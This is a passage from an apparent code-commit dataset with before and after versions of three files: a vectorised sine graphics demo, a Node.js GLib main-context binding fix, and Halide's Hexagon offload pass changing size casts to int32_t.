6, 7, 8, 9, 10, 11, 12, 13, 14, 15 };\n\nint main()\n{\n\t\/\/ Strands work on interleaved chunks of pixels. The strand ID determines\n\t\/\/ the starting point.\n\tint myStrandId = __builtin_vp_get_current_strand();\n\tfor (int frameNum = 0; ; frameNum++)\n\t{\n\t\tvec16i *ptr = kFrameBufferAddress + myStrandId;\n\t\tfor (int y = 0; y < 480; y++)\n\t\t{\n\t\t\tfor (int x = myStrandId * 16; x < 640; x += 64)\n\t\t\t{\n\t\t\t\tvec16i xv = kXOffsets + __builtin_vp_makevectori(x);\n\t\t\t\tvec16i yv = __builtin_vp_makevectori(y);\n\t\t\t\tvec16i fv = __builtin_vp_makevectori(frameNum);\n\n\t\t\t\tvec16f xfv = __builtin_vp_vitof(xv);\n\t\t\t\tvec16f yfv = __builtin_vp_vitof(yv);\n\t\t\t\tvec16f intensity = sinev(xfv * __builtin_vp_makevectorf(0.001f));\n\t\t\t\tintensity += sinev(yfv * __builtin_vp_makevectorf(0.01f));\n\t\t\t\tintensity = intensity * __builtin_vp_makevectorf(128.0f)\n\t\t\t\t\t+ __builtin_vp_makevectorf(128.0f);\n\n\t\t\t\tvec16i iintensity = __builtin_vp_vftoi(intensity);\n\t\t\t\tvec16i pixelValues = iintensity;\n\t\t\t\tpixelValues |= iintensity << __builtin_vp_makevectori(8);\n\t\t\t\tpixelValues |= iintensity << __builtin_vp_makevectori(16);\n\n\t\t\t\t*ptr = pixelValues;\n\t\t\t\tptr += 4;\t\/\/ Skip over four chunks because there are four threads.\n\t\t\t}\n\t\t}\n\t}\n\n\treturn 0;\n}\n<commit_msg>Tweaks<commit_after>\ntypedef float vec16f __attribute__((__vector_size__(16 * sizeof(int))));\ntypedef int vec16i __attribute__((__vector_size__(16 * sizeof(int))));\n\n#define PI 3.141579\n\nvec16f fmodv(vec16f val1, vec16f val2)\n{\n\tvec16f multiple = __builtin_vp_vitof(__builtin_vp_vftoi(val1 \/ val2));\n\treturn val1 - (multiple * val2);\n}\n\n\/\/\n\/\/ Use taylor series to approximate sine\n\/\/ x**3\/3! + x**5\/5! - x**7\/7! ...\n\/\/\n\n#define NUM_TERMS 6\n\nfloat denominators[] = { \n\t0.166666666666667f, \t\/\/ 1 \/ 3!\n\t0.008333333333333f,\t\t\/\/ 1 \/ 5!\n\t0.000198412698413f,\t\t\/\/ 1 \/ 7!\n\t0.000002755731922f,\t\t\/\/ 1 \/ 9!\n\t2.50521084e-8f,\t\t\t\/\/ 1 \/ 11!\n\t1.6059044e-10f\t\t\t\/\/ 1 \/ 13!\n};\n\nvec16f sinev(vec16f angle)\n{\n\t\/\/ Works better if angle is smaller\n\tangle = fmodv(angle, __builtin_vp_makevectorf(PI));\n\n\tvec16f angleSquared = angle * angle;\n\tvec16f numerator = angle;\n\tvec16f result = angle;\n\t\n\tfor (int i = 0; i < NUM_TERMS; i++)\n\t{\n\t\tnumerator *= angleSquared;\t\t\n\t\tvec16f term = numerator * __builtin_vp_makevectorf(denominators[i]);\n\t\tif (i & 1)\n\t\t\tresult += term;\n\t\telse\n\t\t\tresult -= term;\n\t}\n\t\n\treturn result;\n}\n\nvec16f cosv(vec16f angle)\n{\n\treturn sinev(angle + __builtin_vp_makevectorf(PI * 0.5f));\n}\n\nvec16i* const kFrameBufferAddress = (vec16i*) 0x10000000;\nconst vec16i kXOffsets = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 };\n\nint main()\n{\n\t\/\/ Strands work on interleaved chunks of pixels. The strand ID determines\n\t\/\/ the starting point.\n\tint myStrandId = __builtin_vp_get_current_strand();\n\tfor (int frameNum = 0; ; frameNum++)\n\t{\n\t\tvec16i *ptr = kFrameBufferAddress + myStrandId;\n\t\tfor (int y = 0; y < 480; y++)\n\t\t{\n\t\t\tfor (int x = myStrandId * 16; x < 640; x += 64)\n\t\t\t{\n\t\t\t\tvec16i xv = kXOffsets + __builtin_vp_makevectori(x);\n\t\t\t\tvec16i yv = __builtin_vp_makevectori(y);\n\t\t\t\tvec16f ffv = __builtin_vp_makevectorf((float) frameNum);\n\n\t\t\t\tvec16f xfv = __builtin_vp_vitof(xv);\n\t\t\t\tvec16f yfv = __builtin_vp_vitof(yv);\n\t\t\t\tvec16f intensity = sinev(xfv * __builtin_vp_makevectorf(0.005f));\n\t\t\t\tintensity += sinev((yfv + ffv) * __builtin_vp_makevectorf(0.01f));\n\n\t\t\t\tintensity = intensity * __builtin_vp_makevectorf(48.0f)\n\t\t\t\t\t+ __builtin_vp_makevectorf(128.0f);\n\t\t\t\tvec16i iintensity = __builtin_vp_vftoi(intensity);\n\t\t\t\tvec16i pixelValues = iintensity;\n\t\t\t\tpixelValues |= iintensity << __builtin_vp_makevectori(8);\n\t\t\t\tpixelValues |= iintensity << __builtin_vp_makevectori(16);\n\t\t\t\t*ptr = pixelValues;\n\n\t\t\t\tptr += 4;\t\/\/ Skip over four chunks because there are four threads.\n\t\t\t}\n\t\t}\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <v8.h>\n#include <node.h>\n#include <node_version.h>\n\n#if !(NODE_MAJOR_VERSION == 0 && NODE_MINOR_VERSION < 8)\n\n#include \"context.h\"\n\nusing namespace node;\nusing namespace v8;\n\nstatic struct gcontext g_context;\nstatic uv_prepare_t prepare_handle;\nstatic uv_check_t check_handle;\n\nGContext::GContext() {}\n\nvoid GContext::Init()\n{\n\tGMainContext *gc = g_main_context_default();\n\n\tstruct gcontext *ctx = &g_context;\n\n\tif (!g_thread_supported())\n\t\tg_thread_init(NULL);\n\n\tg_main_context_acquire(gc);\n\tctx->gc = g_main_context_ref(gc);\n\tctx->fds = NULL;\n\n\t\/* Prepare *\/\n\tuv_prepare_init(uv_default_loop(), &prepare_handle);\n\tuv_prepare_start(&prepare_handle, prepare_cb);\n\n\t\/* Check *\/\n\tuv_check_init(uv_default_loop(), &check_handle);\n\tuv_check_start(&check_handle, check_cb);\n}\n\nvoid GContext::Uninit()\n{\n\tstruct gcontext *ctx = &g_context;\n\n\tuv_check_stop(&check_handle);\n\tuv_close((uv_handle_t *)&check_handle, NULL);\n\n\tuv_prepare_stop(&prepare_handle);\n\tuv_close((uv_handle_t *)&prepare_handle, NULL);\n\n\tg_main_context_unref(ctx->gc);\n}\n\nvoid GContext::poll_cb(uv_poll_t *handle, int status, int events)\n{\n\tstruct gcontext_pollfd *_pfd = (struct gcontext_pollfd *)handle->data;\n\n\tGPollFD *pfd = _pfd->pfd;\n\n\tpfd->revents |= pfd->events & ((events & UV_READABLE ? G_IO_IN : 0) | (events & UV_WRITABLE ? G_IO_OUT : 0));\n\n\tuv_poll_stop(handle);\n\tuv_close((uv_handle_t *)handle, NULL);\n\tdelete _pfd;\n}\n\nvoid GContext::prepare_cb(uv_prepare_t *handle, int status)\n{\n\tgint i;\n\tgint timeout;\n\tstruct gcontext *ctx = &g_context;\n\n\tg_main_context_dispatch(ctx->gc);\n\n\tg_main_context_prepare(ctx->gc, &ctx->max_priority);\n\n\t\/* Getting all sources from GLib main context *\/\n\twhile(ctx->allocated_nfds < (ctx->nfds = g_main_context_query(ctx->gc,\n\t\t\tctx->max_priority,\n\t\t\t&timeout,\n\t\t\tctx->fds,\n\t\t\tctx->allocated_nfds))) { \n\n\t\tg_free(ctx->fds);\n\t\tg_free(ctx->poll_handles);\n\n\t\tctx->allocated_nfds = 1;\n\t\twhile (ctx->allocated_nfds < ctx->nfds) {\n\t\t\tctx->allocated_nfds <<= 1;\n\t\t}\n\n\t\tctx->fds = g_new(GPollFD, ctx->allocated_nfds);\n\t\tctx->poll_handles = g_new(uv_poll_t, ctx->allocated_nfds);\n\t}\n\n\t\/* Poll *\/\n\tfor (i = 0; i < ctx->nfds; ++i) {\n\t\tGPollFD *pfd = ctx->fds + i;\n\t\tuv_poll_t *pt = ctx->poll_handles + i;\n\n\t\tstruct gcontext_pollfd *data = new gcontext_pollfd;\n\t\tdata->pfd = pfd;\n\t\tpt->data = data;\n\n\t\tpfd->revents = 0;\n\n\t\tuv_poll_init(uv_default_loop(), pt, pfd->fd);\n\t\tuv_poll_start(pt, UV_READABLE | UV_WRITABLE, poll_cb);\n\t}\n}\n\nvoid GContext::check_cb(uv_check_t *handle, int status)\n{\n\tstruct gcontext *ctx = &g_context;\n\n\tg_main_context_check(ctx->gc, ctx->max_priority, ctx->fds, ctx->nfds);\n}\n\n#endif\n<commit_msg>Fixed a bug that hangs when other module needs glib main context as well.<commit_after>#include <v8.h>\n#include <node.h>\n#include <node_version.h>\n\n#if !(NODE_MAJOR_VERSION == 0 && NODE_MINOR_VERSION < 8)\n\n#include \"context.h\"\n\nusing namespace node;\nusing namespace v8;\n\nstatic struct gcontext g_context;\nstatic uv_prepare_t prepare_handle;\nstatic uv_check_t check_handle;\n\nGContext::GContext() {}\n\nvoid GContext::Init()\n{\n\tGMainContext *gc = g_main_context_default();\n\n\tstruct gcontext *ctx = &g_context;\n\n\tif (!g_thread_supported())\n\t\tg_thread_init(NULL);\n\n\tg_main_context_acquire(gc);\n\tctx->gc = g_main_context_ref(gc);\n\tctx->fds = NULL;\n\n\t\/* Prepare *\/\n\tuv_prepare_init(uv_default_loop(), &prepare_handle);\n\tuv_prepare_start(&prepare_handle, prepare_cb);\n\n\t\/* Check *\/\n\tuv_check_init(uv_default_loop(), &check_handle);\n\tuv_check_start(&check_handle, check_cb);\n}\n\nvoid GContext::Uninit()\n{\n\tstruct gcontext *ctx = &g_context;\n\n\tuv_check_stop(&check_handle);\n\tuv_close((uv_handle_t *)&check_handle, NULL);\n\n\tuv_prepare_stop(&prepare_handle);\n\tuv_close((uv_handle_t *)&prepare_handle, NULL);\n\n\tg_main_context_unref(ctx->gc);\n}\n\nvoid GContext::poll_cb(uv_poll_t *handle, int status, int events)\n{\n\tstruct gcontext_pollfd *_pfd = (struct gcontext_pollfd *)handle->data;\n\n\tGPollFD *pfd = _pfd->pfd;\n\n\tpfd->revents |= pfd->events & ((events & UV_READABLE ? G_IO_IN : 0) | (events & UV_WRITABLE ? G_IO_OUT : 0));\n\n\tuv_poll_stop(handle);\n\tuv_close((uv_handle_t *)handle, NULL);\n\tdelete _pfd;\n}\n\nvoid GContext::prepare_cb(uv_prepare_t *handle, int status)\n{\n\tgint i;\n\tgint timeout;\n\tstruct gcontext *ctx = &g_context;\n\n\tg_main_context_dispatch(ctx->gc);\n\n\tg_main_context_prepare(ctx->gc, &ctx->max_priority);\n\n\t\/* Getting all sources from GLib main context *\/\n\twhile(ctx->allocated_nfds < (ctx->nfds = g_main_context_query(ctx->gc,\n\t\t\tctx->max_priority,\n\t\t\t&timeout,\n\t\t\tctx->fds,\n\t\t\tctx->allocated_nfds))) { \n\n\t\tg_free(ctx->fds);\n\t\tg_free(ctx->poll_handles);\n\n\t\tctx->allocated_nfds = 1;\n\t\twhile (ctx->allocated_nfds < ctx->nfds) {\n\t\t\tctx->allocated_nfds <<= 1;\n\t\t}\n\n\t\tctx->fds = g_new(GPollFD, ctx->allocated_nfds);\n\t\tctx->poll_handles = g_new(uv_poll_t, ctx->allocated_nfds);\n\t}\n\n\t\/* Poll *\/\n\tfor (i = 0; i < ctx->nfds; ++i) {\n\t\tGPollFD *pfd = ctx->fds + i;\n\t\tuv_poll_t *pt = ctx->poll_handles + i;\n\n\t\tstruct gcontext_pollfd *data = new gcontext_pollfd;\n\t\tdata->pfd = pfd;\n\t\tpt->data = data;\n\n\t\tpfd->revents = 0;\n\n\t\tuv_poll_init(uv_default_loop(), pt, pfd->fd);\n\t\tuv_poll_start(pt, UV_READABLE | UV_WRITABLE, poll_cb);\n\t}\n}\n\nvoid GContext::check_cb(uv_check_t *handle, int status)\n{\n\tgint i;\n\tstruct gcontext *ctx = &g_context;\n\n\t\/* Release all polling events which aren't finished yet. *\/\n\tfor (i = 0; i < ctx->nfds; ++i) {\n\t\tGPollFD *pfd = ctx->fds + i;\n\t\tuv_poll_t *pt = ctx->poll_handles + i;\n\n\t\tif (uv_is_active((uv_handle_t *)pt)) {\n\t\t\tuv_poll_stop(pt);\n\t\t\tuv_close((uv_handle_t *)pt, NULL);\n\t\t\tdelete (struct gcontext_pollfd *)pt->data;\n\t\t}\n\t}\n\n\tg_main_context_check(ctx->gc, ctx->max_priority, ctx->fds, ctx->nfds);\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <memory>\n\n#include \"HexagonOffload.h\"\n#include \"IRMutator.h\"\n#include \"Substitute.h\"\n#include \"Closure.h\"\n#include \"Param.h\"\n#include \"Image.h\"\n#include \"LLVM_Output.h\"\n#include \"RemoveTrivialForLoops.h\"\n\nnamespace Halide {\nnamespace Internal {\n\nusing std::string;\nusing std::vector;\n\nnamespace {\n\n\/\/ Replace the parameter objects of loads\/stores witha new parameter\n\/\/ object.\nclass ReplaceParams : public IRMutator {\n const std::map<std::string, Parameter> &replacements;\n\n using IRMutator::visit;\n\n void visit(const Load *op) {\n auto i = replacements.find(op->name);\n if (i != replacements.end()) {\n expr = Load::make(op->type, op->name, mutate(op->index), op->image, i->second);\n } else {\n IRMutator::visit(op);\n }\n }\n\n void visit(const Store *op) {\n auto i = replacements.find(op->name);\n if (i != replacements.end()) {\n stmt = Store::make(op->name, mutate(op->value), mutate(op->index), i->second);\n } else {\n IRMutator::visit(op);\n }\n }\n\npublic:\n ReplaceParams(const std::map<std::string, Parameter> &replacements)\n : replacements(replacements) {}\n};\n\nStmt replace_params(Stmt s, const std::map<std::string, Parameter> &replacements) {\n return ReplaceParams(replacements).mutate(s);\n}\n\n\nclass InjectHexagonRpc : public IRMutator {\n std::map<std::string, Expr> state_vars;\n\n Module device_code;\n\n \/** Alignment info for Int(32) variables in scope, so we don't\n * lose the information when creating Hexagon kernels. *\/\n Scope<ModulusRemainder> alignment_info;\n\n Expr state_var(const std::string& name, Type type) {\n Expr& var = state_vars[name];\n if (!var.defined()) {\n Buffer storage(type, {}, nullptr, name + \"_buf\");\n *(void **)storage.host_ptr() = nullptr;\n var = Load::make(type_of<void*>(), name + \"_buf\", 0, storage, Parameter());\n }\n return var;\n }\n\n Expr state_var_ptr(const std::string& name, Type type) {\n Expr var = state_var(name, type);\n return Call::make(Handle(), Call::address_of, {var}, Call::Intrinsic);\n }\n\n Expr module_state() {\n return state_var(\"hexagon_module_state\", type_of<void*>());\n }\n\n Expr module_state_ptr() {\n return state_var_ptr(\"hexagon_module_state\", type_of<void*>());\n }\n\n \/\/ Create a Buffer containing the given buffer\/size, and return an\n \/\/ expression for a pointer to the first element.\n Expr buffer_ptr(const uint8_t* buffer, size_t size, const char* name) {\n Buffer code(type_of<uint8_t>(), {(int)size}, nullptr, name);\n memcpy(code.host_ptr(), buffer, (int)size);\n\n Expr ptr_0 = Load::make(type_of<uint8_t>(), name, 0, code, Parameter());\n return Call::make(Handle(), Call::address_of, {ptr_0}, Call::Intrinsic);\n }\n\n Stmt call_extern_and_assert(const std::string& name, const std::vector<Expr>& args) {\n Expr call = Call::make(Int(32), name, args, Call::Extern);\n string call_result_name = unique_name(name + \"_result\");\n Expr call_result_var = Variable::make(Int(32), call_result_name);\n return LetStmt::make(call_result_name, call,\n AssertStmt::make(EQ::make(call_result_var, 0), call_result_var));\n }\n\n using IRMutator::visit;\n\n void visit(const For *loop) {\n if (loop->device_api == DeviceAPI::Hexagon) {\n \/\/ Unrolling or loop partitioning might generate multiple\n \/\/ loops with the same name, so we need to unique them.\n std::string hex_name = \"hex_\" + loop->name;\n\n Stmt body = remove_trivial_for_loops(loop, true \/*device_loops*\/);\n\n \/\/ Build a closure for the device code.\n \/\/ TODO: Should this move the body of the loop to Hexagon,\n \/\/ or the loop itself? Currently, this moves the loop itself.\n Closure c(body);\n\n \/\/ Make an argument list, and generate a function in the\n \/\/ device_code module. The hexagon runtime code expects\n \/\/ the arguments to appear in the order of (input buffers,\n \/\/ output buffers, input scalars). There's a huge hack\n \/\/ here, in that the scalars must be last for the scalar\n \/\/ arguments to shadow the symbols of the buffer.\n std::vector<LoweredArgument> input_buffers, output_buffers;\n std::map<std::string, Parameter> replacement_params;\n for (const auto& i : c.buffers) {\n if (i.second.write) {\n Argument::Kind kind = Argument::OutputBuffer;\n output_buffers.push_back(LoweredArgument(i.first, kind, i.second.type, i.second.dimensions));\n } else {\n Argument::Kind kind = Argument::InputBuffer;\n input_buffers.push_back(LoweredArgument(i.first, kind, i.second.type, i.second.dimensions));\n }\n\n \/\/ Build a parameter to replace.\n Parameter p(i.second.type, true, i.second.dimensions);\n \/\/ Assert that buffers are aligned to one HVX\n \/\/ vector. Generally, they should be page aligned ION\n \/\/ buffers, so this should be a reasonable\n \/\/ requirement.\n const int alignment = 128;\n p.set_host_alignment(alignment);\n \/\/ The other parameter constraints are already\n \/\/ accounted for by the closure grabbing those\n \/\/ arguments, so we only need to provide the host\n \/\/ alignment.\n replacement_params[i.first] = p;\n\n \/\/ Add an assert to the body that validates the\n \/\/ alignment of the buffer.\n if (!device_code.target().has_feature(Target::NoAsserts)) {\n Expr host_ptr = reinterpret<uint64_t>(Variable::make(Handle(), i.first + \".host\"));\n Expr error = Call::make(Int(32), \"halide_error_unaligned_host_ptr\",\n {i.first, alignment}, Call::Extern);\n body = Block::make(AssertStmt::make(host_ptr % alignment == 0, error), body);\n }\n }\n body = replace_params(body, replacement_params);\n\n std::vector<LoweredArgument> args;\n args.insert(args.end(), input_buffers.begin(), input_buffers.end());\n args.insert(args.end(), output_buffers.begin(), output_buffers.end());\n for (const auto& i : c.vars) {\n LoweredArgument arg(i.first, Argument::InputScalar, i.second, 0);\n if (alignment_info.contains(i.first)) {\n arg.alignment = alignment_info.get(i.first);\n }\n args.push_back(arg);\n }\n device_code.append(LoweredFunc(hex_name, args, body, LoweredFunc::External));\n\n \/\/ Generate a call to hexagon_device_run.\n std::vector<Expr> arg_sizes;\n std::vector<Expr> arg_ptrs;\n std::vector<Expr> arg_flags;\n\n for (const auto& i : c.buffers) {\n arg_sizes.push_back(Expr((size_t)sizeof(buffer_t*)));\n arg_ptrs.push_back(Variable::make(type_of<buffer_t *>(), i.first + \".buffer\"));\n int flags = 0;\n if (i.second.read) flags |= 0x1;\n if (i.second.write) flags |= 0x2;\n arg_flags.push_back(flags);\n }\n for (const auto& i : c.vars) {\n Expr arg = Variable::make(i.second, i.first);\n Expr arg_ptr = Call::make(type_of<void *>(), Call::make_struct, {arg}, Call::Intrinsic);\n\n arg_sizes.push_back(Expr((size_t)i.second.bytes()));\n arg_ptrs.push_back(arg_ptr);\n arg_flags.push_back(0x0);\n }\n\n \/\/ The argument list is terminated with an argument of size 0.\n arg_sizes.push_back(Expr((size_t)0));\n\n std::string pipeline_name = hex_name + \"_argv\";\n std::vector<Expr> params;\n params.push_back(module_state());\n params.push_back(pipeline_name);\n params.push_back(state_var_ptr(hex_name, type_of<int>()));\n params.push_back(Call::make(type_of<size_t*>(), Call::make_struct, arg_sizes, Call::Intrinsic));\n params.push_back(Call::make(type_of<void**>(), Call::make_struct, arg_ptrs, Call::Intrinsic));\n params.push_back(Call::make(type_of<int*>(), Call::make_struct, arg_flags, Call::Intrinsic));\n\n stmt = call_extern_and_assert(\"halide_hexagon_run\", params);\n\n } else {\n IRMutator::visit(loop);\n }\n }\n\n void visit(const Let *op) {\n if (op->value.type() == Int(32)) {\n alignment_info.push(op->name, modulus_remainder(op->value, alignment_info));\n }\n\n IRMutator::visit(op);\n\n if (op->value.type() == Int(32)) {\n alignment_info.pop(op->name);\n }\n }\n\n void visit(const LetStmt *op) {\n if (op->value.type() == Int(32)) {\n alignment_info.push(op->name, modulus_remainder(op->value, alignment_info));\n }\n\n IRMutator::visit(op);\n\n if (op->value.type() == Int(32)) {\n alignment_info.pop(op->name);\n }\n }\n\npublic:\n InjectHexagonRpc(const Target &target) : device_code(\"hexagon\", target) {}\n\n Stmt inject(Stmt s) {\n s = mutate(s);\n\n \/\/ Skip if there are no device kernels.\n if (device_code.functions().empty()) {\n return s;\n }\n\n \/\/ Compile the device code.\n std::vector<uint8_t> object;\n#if 0\n compile_module_to_shared_object(device_code, object);\n \/\/compile_module_to_shared_object(device_code, \"\/tmp\/hex.so\");\n#else\n debug(1) << \"Hexagon device code module: \" << device_code << \"\\n\";\n device_code.compile(Outputs().bitcode(\"hex.bc\"));\n\n string hex_command = \"${HL_HEXAGON_TOOLS}\/bin\/hexagon-clang hex.bc -fPIC -O3 -Wno-override-module -shared -o hex.so\";\n if (device_code.target().has_feature(Target::HVX_v62)) {\n hex_command += \" -mv62\";\n }\n if (device_code.target().has_feature(Target::HVX_128)) {\n hex_command += \" -mhvx-double\";\n }\n int result = system(hex_command.c_str());\n internal_assert(result == 0) << \"hexagon-clang failed\\n\";\n\n std::ifstream so(\"hex.so\", std::ios::binary | std::ios::ate);\n object.resize(so.tellg());\n so.seekg(0, std::ios::beg);\n so.read(reinterpret_cast<char*>(&object[0]), object.size());\n#endif\n\n \/\/ Put the compiled object into a buffer.\n size_t code_size = object.size();\n Expr code_ptr = buffer_ptr(&object[0], code_size, \"hexagon_code\");\n\n \/\/ Wrap the statement in calls to halide_initialize_kernels.\n Stmt init_kernels = call_extern_and_assert(\"halide_hexagon_initialize_kernels\",\n {module_state_ptr(), code_ptr, Expr(code_size)});\n s = Block::make(init_kernels, s);\n\n return s;\n }\n};\n\n}\n\nStmt inject_hexagon_rpc(Stmt s, const Target &host_target) {\n Target target(Target::NoOS, Target::Hexagon, 32);\n for (Target::Feature i : {Target::Debug, Target::NoAsserts, Target::HVX_64, Target::HVX_128, Target::HVX_v62}) {\n if (host_target.has_feature(i)) {\n target = target.with_feature(i);\n }\n }\n InjectHexagonRpc injector(target);\n s = injector.inject(s);\n return s;\n}\n\n} \/\/ namespace Internal\n} \/\/ namespace Halide\n<commit_msg>Casting to size_t is ambiguous for some compile environments<commit_after>#include <iostream>\n#include <fstream>\n#include <memory>\n\n#include \"HexagonOffload.h\"\n#include \"IRMutator.h\"\n#include \"Substitute.h\"\n#include \"Closure.h\"\n#include \"Param.h\"\n#include \"Image.h\"\n#include \"LLVM_Output.h\"\n#include \"RemoveTrivialForLoops.h\"\n\nnamespace Halide {\nnamespace Internal {\n\nusing std::string;\nusing std::vector;\n\nnamespace {\n\n\/\/ Replace the parameter objects of loads\/stores witha new parameter\n\/\/ object.\nclass ReplaceParams : public IRMutator {\n const std::map<std::string, Parameter> &replacements;\n\n using IRMutator::visit;\n\n void visit(const Load *op) {\n auto i = replacements.find(op->name);\n if (i != replacements.end()) {\n expr = Load::make(op->type, op->name, mutate(op->index), op->image, i->second);\n } else {\n IRMutator::visit(op);\n }\n }\n\n void visit(const Store *op) {\n auto i = replacements.find(op->name);\n if (i != replacements.end()) {\n stmt = Store::make(op->name, mutate(op->value), mutate(op->index), i->second);\n } else {\n IRMutator::visit(op);\n }\n }\n\npublic:\n ReplaceParams(const std::map<std::string, Parameter> &replacements)\n : replacements(replacements) {}\n};\n\nStmt replace_params(Stmt s, const std::map<std::string, Parameter> &replacements) {\n return ReplaceParams(replacements).mutate(s);\n}\n\n\nclass InjectHexagonRpc : public IRMutator {\n std::map<std::string, Expr> state_vars;\n\n Module device_code;\n\n \/** Alignment info for Int(32) variables in scope, so we don't\n * lose the information when creating Hexagon kernels. *\/\n Scope<ModulusRemainder> alignment_info;\n\n Expr state_var(const std::string& name, Type type) {\n Expr& var = state_vars[name];\n if (!var.defined()) {\n Buffer storage(type, {}, nullptr, name + \"_buf\");\n *(void **)storage.host_ptr() = nullptr;\n var = Load::make(type_of<void*>(), name + \"_buf\", 0, storage, Parameter());\n }\n return var;\n }\n\n Expr state_var_ptr(const std::string& name, Type type) {\n Expr var = state_var(name, type);\n return Call::make(Handle(), Call::address_of, {var}, Call::Intrinsic);\n }\n\n Expr module_state() {\n return state_var(\"hexagon_module_state\", type_of<void*>());\n }\n\n Expr module_state_ptr() {\n return state_var_ptr(\"hexagon_module_state\", type_of<void*>());\n }\n\n \/\/ Create a Buffer containing the given buffer\/size, and return an\n \/\/ expression for a pointer to the first element.\n Expr buffer_ptr(const uint8_t* buffer, size_t size, const char* name) {\n Buffer code(type_of<uint8_t>(), {(int)size}, nullptr, name);\n memcpy(code.host_ptr(), buffer, (int)size);\n\n Expr ptr_0 = Load::make(type_of<uint8_t>(), name, 0, code, Parameter());\n return Call::make(Handle(), Call::address_of, {ptr_0}, Call::Intrinsic);\n }\n\n Stmt call_extern_and_assert(const std::string& name, const std::vector<Expr>& args) {\n Expr call = Call::make(Int(32), name, args, Call::Extern);\n string call_result_name = unique_name(name + \"_result\");\n Expr call_result_var = Variable::make(Int(32), call_result_name);\n return LetStmt::make(call_result_name, call,\n AssertStmt::make(EQ::make(call_result_var, 0), call_result_var));\n }\n\n using IRMutator::visit;\n\n void visit(const For *loop) {\n if (loop->device_api == DeviceAPI::Hexagon) {\n \/\/ Unrolling or loop partitioning might generate multiple\n \/\/ loops with the same name, so we need to unique them.\n std::string hex_name = \"hex_\" + loop->name;\n\n Stmt body = remove_trivial_for_loops(loop, true \/*device_loops*\/);\n\n \/\/ Build a closure for the device code.\n \/\/ TODO: Should this move the body of the loop to Hexagon,\n \/\/ or the loop itself? Currently, this moves the loop itself.\n Closure c(body);\n\n \/\/ Make an argument list, and generate a function in the\n \/\/ device_code module. The hexagon runtime code expects\n \/\/ the arguments to appear in the order of (input buffers,\n \/\/ output buffers, input scalars). There's a huge hack\n \/\/ here, in that the scalars must be last for the scalar\n \/\/ arguments to shadow the symbols of the buffer.\n std::vector<LoweredArgument> input_buffers, output_buffers;\n std::map<std::string, Parameter> replacement_params;\n for (const auto& i : c.buffers) {\n if (i.second.write) {\n Argument::Kind kind = Argument::OutputBuffer;\n output_buffers.push_back(LoweredArgument(i.first, kind, i.second.type, i.second.dimensions));\n } else {\n Argument::Kind kind = Argument::InputBuffer;\n input_buffers.push_back(LoweredArgument(i.first, kind, i.second.type, i.second.dimensions));\n }\n\n \/\/ Build a parameter to replace.\n Parameter p(i.second.type, true, i.second.dimensions);\n \/\/ Assert that buffers are aligned to one HVX\n \/\/ vector. Generally, they should be page aligned ION\n \/\/ buffers, so this should be a reasonable\n \/\/ requirement.\n const int alignment = 128;\n p.set_host_alignment(alignment);\n \/\/ The other parameter constraints are already\n \/\/ accounted for by the closure grabbing those\n \/\/ arguments, so we only need to provide the host\n \/\/ alignment.\n replacement_params[i.first] = p;\n\n \/\/ Add an assert to the body that validates the\n \/\/ alignment of the buffer.\n if (!device_code.target().has_feature(Target::NoAsserts)) {\n Expr host_ptr = reinterpret<uint64_t>(Variable::make(Handle(), i.first + \".host\"));\n Expr error = Call::make(Int(32), \"halide_error_unaligned_host_ptr\",\n {i.first, alignment}, Call::Extern);\n body = Block::make(AssertStmt::make(host_ptr % alignment == 0, error), body);\n }\n }\n body = replace_params(body, replacement_params);\n\n std::vector<LoweredArgument> args;\n args.insert(args.end(), input_buffers.begin(), input_buffers.end());\n args.insert(args.end(), output_buffers.begin(), output_buffers.end());\n for (const auto& i : c.vars) {\n LoweredArgument arg(i.first, Argument::InputScalar, i.second, 0);\n if (alignment_info.contains(i.first)) {\n arg.alignment = alignment_info.get(i.first);\n }\n args.push_back(arg);\n }\n device_code.append(LoweredFunc(hex_name, args, body, LoweredFunc::External));\n\n \/\/ Generate a call to hexagon_device_run.\n std::vector<Expr> arg_sizes;\n std::vector<Expr> arg_ptrs;\n std::vector<Expr> arg_flags;\n\n for (const auto& i : c.buffers) {\n \/\/ sizeof(pointer) will always fit into int32\n arg_sizes.push_back(Expr((int32_t)sizeof(buffer_t*)));\n arg_ptrs.push_back(Variable::make(type_of<buffer_t *>(), i.first + \".buffer\"));\n int flags = 0;\n if (i.second.read) flags |= 0x1;\n if (i.second.write) flags |= 0x2;\n arg_flags.push_back(flags);\n }\n for (const auto& i : c.vars) {\n Expr arg = Variable::make(i.second, i.first);\n Expr arg_ptr = Call::make(type_of<void *>(), Call::make_struct, {arg}, Call::Intrinsic);\n\n \/\/ sizeof(scalar-type) will always fit into int32\n arg_sizes.push_back(Expr((int32_t)i.second.bytes()));\n arg_ptrs.push_back(arg_ptr);\n arg_flags.push_back(0x0);\n }\n\n \/\/ The argument list is terminated with an argument of size 0.\n arg_sizes.push_back(Expr((int32_t)0));\n\n std::string pipeline_name = hex_name + \"_argv\";\n std::vector<Expr> params;\n params.push_back(module_state());\n params.push_back(pipeline_name);\n params.push_back(state_var_ptr(hex_name, type_of<int>()));\n params.push_back(Call::make(type_of<size_t*>(), Call::make_struct, arg_sizes, Call::Intrinsic));\n params.push_back(Call::make(type_of<void**>(), Call::make_struct, arg_ptrs, Call::Intrinsic));\n params.push_back(Call::make(type_of<int*>(), Call::make_struct, arg_flags, Call::Intrinsic));\n\n stmt = call_extern_and_assert(\"halide_hexagon_run\", params);\n\n } else {\n IRMutator::visit(loop);\n }\n }\n\n void visit(const Let *op) {\n if (op->value.type() == Int(32)) {\n alignment_info.push(op->name, modulus_remainder(op->value, alignment_info));\n }\n\n IRMutator::visit(op);\n\n if (op->value.type() == Int(32)) {\n alignment_info.pop(op->name);\n }\n }\n\n void visit(const LetStmt *op) {\n if (op->value.type() == Int(32)) {\n alignment_info.push(op->name, modulus_remainder(op->value, alignment_info));\n }\n\n IRMutator::visit(op);\n\n if (op->value.type() == Int(32)) {\n alignment_info.pop(op->name);\n }\n }\n\npublic:\n InjectHexagonRpc(const Target &target) : device_code(\"hexagon\", target) {}\n\n Stmt inject(Stmt s) {\n s = mutate(s);\n\n \/\/ Skip if there are no device kernels.\n if (device_code.functions().empty()) {\n return s;\n }\n\n \/\/ Compile the device code.\n std::vector<uint8_t> object;\n#if 0\n compile_module_to_shared_object(device_code, object);\n 